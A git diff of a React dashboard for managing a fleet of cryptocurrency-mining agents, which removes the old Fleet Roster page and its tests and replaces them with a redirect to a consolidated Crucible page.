alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
},
|
||||
[agents, commandResults, selectedIds],
|
||||
);
|
||||
|
||||
return { bulkBusy, handleBulkAction };
|
||||
}
|
||||
@@ -1,227 +1,30 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter, Routes, Route } from 'react-router-dom';
|
||||
import AgentsPage from './AgentsPage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../components/Fleet/AgentRemoteActions', () => ({
|
||||
default: () => <div data-testid="agent-remote-actions-mock" />,
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
return {
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderAgentsPage() {
|
||||
function renderRedirect() {
|
||||
return render(
|
||||
<MemoryRouter initialEntries={['/agents']} future={routerFuture}>
|
||||
<AgentsPage />
|
||||
<Routes>
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/crucible" element={<div>Crucible destination</div>} />
|
||||
</Routes>
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('AgentsPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useWebSocketMock.mockReturnValue(wsValue());
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
|
||||
vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
|
||||
});
|
||||
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
|
||||
success: true,
|
||||
sent: 1,
|
||||
failed: 0,
|
||||
action: 'restart',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders page heading and builds install link', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
||||
expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
|
||||
});
|
||||
|
||||
it('shows loading then empty multi-OS state', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByText('Scanning network...')).toBeInTheDocument();
|
||||
expect(await screen.findByText('No agents registered')).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('surfaces listAgents load errors', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
|
||||
renderAgentsPage();
|
||||
expect(await screen.findByText('API unavailable')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('lists agents and opens detail panel with section headings', async () => {
|
||||
const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
|
||||
});
|
||||
await userEvent.setup().click(screen.getByText('Rack B Miner'));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
|
||||
expect(screen.getByText('Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Shares')).toBeInTheDocument();
|
||||
expect(screen.getByText('Remote Control')).toBeInTheDocument();
|
||||
expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
|
||||
});
|
||||
|
||||
it('preserves notes draft while typing until agent switch', async () => {
|
||||
const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
|
||||
const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Node One'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
|
||||
await waitFor(() => expect(notes.value).toBe('note one'));
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'typing in progress');
|
||||
expect(notes.value).toBe('typing in progress');
|
||||
await user.click(screen.getByText('Node Two'));
|
||||
await waitFor(() => expect(notes.value).toBe('note two'));
|
||||
});
|
||||
|
||||
it('saves notes and tags via API', async () => {
|
||||
const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
|
||||
});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Save Target'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…');
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'Living room PC');
|
||||
const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(
|
||||
() => {
|
||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||
},
|
||||
{ timeout: 10000 }
|
||||
);
|
||||
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
||||
}, 15000);
|
||||
|
||||
it('alerts when bulk action has no online agents', async () => {
|
||||
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
|
||||
const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('alerts when bulk command API fails', async () => {
|
||||
const agent = mockAgent({ name: 'Online One' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
|
||||
const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('bulk failed');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('syncs agents from websocket when connected', async () => {
|
||||
const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
|
||||
vi.spyOn(api, 'listAgents').mockImplementation(
|
||||
() => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
|
||||
);
|
||||
const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Live Name')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows filter empty hint when no agents match', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
|
||||
const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
|
||||
await userEvent.setup().type(search, 'nomatchxyz');
|
||||
expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('select all filtered selects every visible agent', async () => {
|
||||
const a1 = mockAgent({ id: 'a1', name: 'Alpha', tags: ['prod'] });
|
||||
const a2 = mockAgent({ id: 'a2', name: 'Beta', tags: ['prod'] });
|
||||
const a3 = mockAgent({ id: 'a3', name: 'Gamma', tags: ['dev'] });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2, a3]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Alpha')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.selectOptions(screen.getByTitle('Filter by tag'), 'prod');
|
||||
await user.click(screen.getByRole('button', { name: 'Select all filtered (2)' }));
|
||||
expect(screen.getByText('2 selected')).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
|
||||
it('redirects /agents to /crucible', () => {
|
||||
renderRedirect();
|
||||
expect(screen.getByText('Crucible destination')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,651 +1,6 @@
|
||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import { resolveChartSeries } from '../help/chartSampleData';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import { groupsForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import './Pages.css';
|
||||
|
||||
function BuildsInstallLink() {
|
||||
return (
|
||||
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: '1rem', flexWrap: 'wrap' }}>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>Deploy a new worker</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Per-machine install commands (PowerShell, bash, direct download) live in Builds.
|
||||
</p>
|
||||
</div>
|
||||
<Link to="/builds" className="btn btn-outline">
|
||||
View install commands in Builds →
|
||||
</Link>
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
import { Navigate } from 'react-router-dom';
|
||||
|
||||
/** Fleet Roster ops consolidated into Crucible — keep route for bookmarks and external links. */
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
const [logDownloading, setLogDownloading] = useState(false);
|
||||
const [notesDraft, setNotesDraft] = useState('');
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
const isConnectedRef = useRef(isConnected);
|
||||
isConnectedRef.current = isConnected;
|
||||
const screenshotWatchId = useRef<string | null>(null);
|
||||
const screenshotSeqRef = useRef(0);
|
||||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||
|
||||
const onlineAgentIds = useMemo(
|
||||
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||||
[agents]
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
setSelectedIds((prev) => {
|
||||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||
return pruned.size === prev.size ? prev : pruned;
|
||||
});
|
||||
}, [agents]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||
const watch = screenshotWatchId.current;
|
||||
for (const r of commandResults) {
|
||||
if (r._seq <= screenshotSeqRef.current) continue;
|
||||
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
|
||||
screenshotSeqRef.current = r._seq;
|
||||
screenshotWatchId.current = null;
|
||||
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
|
||||
if (r.success && r.message) {
|
||||
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
|
||||
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
|
||||
} else {
|
||||
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}, [commandResults, agents]);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api.listAgents()
|
||||
.then((data) => {
|
||||
if (!cancelled && !isConnectedRef.current) setAgents(data);
|
||||
})
|
||||
.catch((err) => {
|
||||
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedAgent) return;
|
||||
setNotesDraft(selectedAgent.notes || '');
|
||||
setTagsDraft((selectedAgent.tags || []).join(', '));
|
||||
}, [selectedAgent?.id]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isConnected) return;
|
||||
setAgents(liveAgents);
|
||||
if (!selectedAgent) return;
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
}
|
||||
}, [liveAgents, isConnected, selectedAgent?.id]);
|
||||
|
||||
useEffect(() => {
|
||||
if (selectedAgent && agentLogs[selectedAgent.id]) {
|
||||
setLogContent(agentLogs[selectedAgent.id]);
|
||||
}
|
||||
}, [selectedAgent?.id, agentLogs]);
|
||||
|
||||
// Sort: online first, then by last_seen desc, then alphabetical
|
||||
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
|
||||
if (a.status === 'online' && b.status !== 'online') return -1;
|
||||
if (a.status !== 'online' && b.status === 'online') return 1;
|
||||
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
|
||||
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
|
||||
if (tb !== ta) return tb - ta;
|
||||
return a.name.localeCompare(b.name);
|
||||
}), [agents]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(sortedAgents, filters),
|
||||
[sortedAgents, filters]
|
||||
);
|
||||
|
||||
const refreshLog = async (refresh = false) => {
|
||||
if (!selectedAgent) return;
|
||||
setLogLoading(true);
|
||||
try {
|
||||
const res = await api.getAgentLog(selectedAgent.id, refresh);
|
||||
setLogContent(res.content || '');
|
||||
} catch (err) {
|
||||
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
|
||||
} finally {
|
||||
setLogLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const selectAgent = async (agent: Agent) => {
|
||||
setSelectedAgent(agent);
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMetaMsg('');
|
||||
setLogContent('');
|
||||
try {
|
||||
const history = await api.getAgentStats(agent.id, 60);
|
||||
setHashrateHistory(history);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
}
|
||||
// Auto-fetch sysinfo so the terminal is pre-populated immediately
|
||||
if (agent.status === 'online') {
|
||||
setTimeout(() => {
|
||||
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
|
||||
}, 300);
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
if (!selectedAgent) return;
|
||||
setMetaSaving(true);
|
||||
setMetaMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||||
const updated = res.agent;
|
||||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||||
setMetaMsg('Saved');
|
||||
setTimeout(() => setMetaMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setMetaSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (on) next.add(id);
|
||||
else next.delete(id);
|
||||
return next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleDeleteAgent = async (agentId: string) => {
|
||||
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
|
||||
try {
|
||||
await api.deleteAgent(agentId);
|
||||
setAgents((prev) => prev.filter((a) => a.id !== agentId));
|
||||
if (selectedAgent?.id === agentId) setSelectedAgent(null);
|
||||
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
const handleUninstallAndDelete = async (agent: Agent) => {
|
||||
const label = agent.status === 'online'
|
||||
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
|
||||
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
|
||||
if (!window.confirm(label)) return;
|
||||
if (agent.status === 'online') {
|
||||
try {
|
||||
await api.sendAgentCommand(agent.id, 'uninstall', {});
|
||||
} catch {
|
||||
// Non-fatal — proceed to delete the record regardless
|
||||
}
|
||||
}
|
||||
try {
|
||||
await api.deleteAgent(agent.id);
|
||||
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
|
||||
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
|
||||
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
const handleBulkAction = async (action: string) => {
|
||||
const ids = [...selectedIds];
|
||||
if (ids.length === 0) return;
|
||||
|
||||
if (action === 'delete') {
|
||||
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.bulkDeleteAgents(ids);
|
||||
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
|
||||
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
|
||||
setSelectedIds(new Set());
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Bulk delete failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
let targetIds = ids;
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) {
|
||||
alert('No online agents in selection.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'screenshot') {
|
||||
if (onlineIds.length !== 1) {
|
||||
alert('Select exactly one online machine (checkbox) for screenshot.');
|
||||
return;
|
||||
}
|
||||
const id = onlineIds[0];
|
||||
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
|
||||
screenshotWatchId.current = id;
|
||||
if (commandResults?.length) {
|
||||
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
const res = await api.sendAgentCommand(id, 'screenshot');
|
||||
if (res.success === false) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(res.error ?? 'Screenshot command rejected');
|
||||
}
|
||||
} catch (err) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(err instanceof Error ? err.message : 'Screenshot failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
<h1>Fleet Roster</h1>
|
||||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||||
</div>
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<BuildsInstallLink />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
<p>{loadError}</p>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
{loading ? (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<p>Scanning network...</p>
|
||||
</NeonCard>
|
||||
) : agents.length === 0 ? (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No agents registered</h3>
|
||||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list-panel operator-deck-card operator-interactive">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
selectedCount={selectedIds.size}
|
||||
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
|
||||
onDeleteGroup={removeGroup}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
/>
|
||||
<div className="agents-list">
|
||||
{filteredAgents.map((agent) => (
|
||||
<AgentListItem
|
||||
key={agent.id}
|
||||
agent={agent}
|
||||
selected={selectedAgent?.id === agent.id}
|
||||
expanded={expandedId === agent.id}
|
||||
selectable
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
commandResults={commandResults}
|
||||
memberGroups={groupsForAgent(groups, agent.id)}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
<p className="form-hint">No agents match filters.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
{selectedAgent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="detail-section agent-meta-editor">
|
||||
<h3>Notes & Tags</h3>
|
||||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{selectedAgent.status === 'online' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
|
||||
onClick={() => void handleUninstallAndDelete(selectedAgent)}
|
||||
title="Send uninstall command to agent, then remove from roster"
|
||||
>
|
||||
⚡ Uninstall + Delete
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
|
||||
onClick={() => void handleDeleteAgent(selectedAgent.id)}
|
||||
title="Remove this machine from the fleet roster permanently"
|
||||
>
|
||||
🗑 Delete from Roster
|
||||
</button>
|
||||
</div>
|
||||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||||
</div>
|
||||
|
||||
<div className="agent-detail-grid">
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Status</span>
|
||||
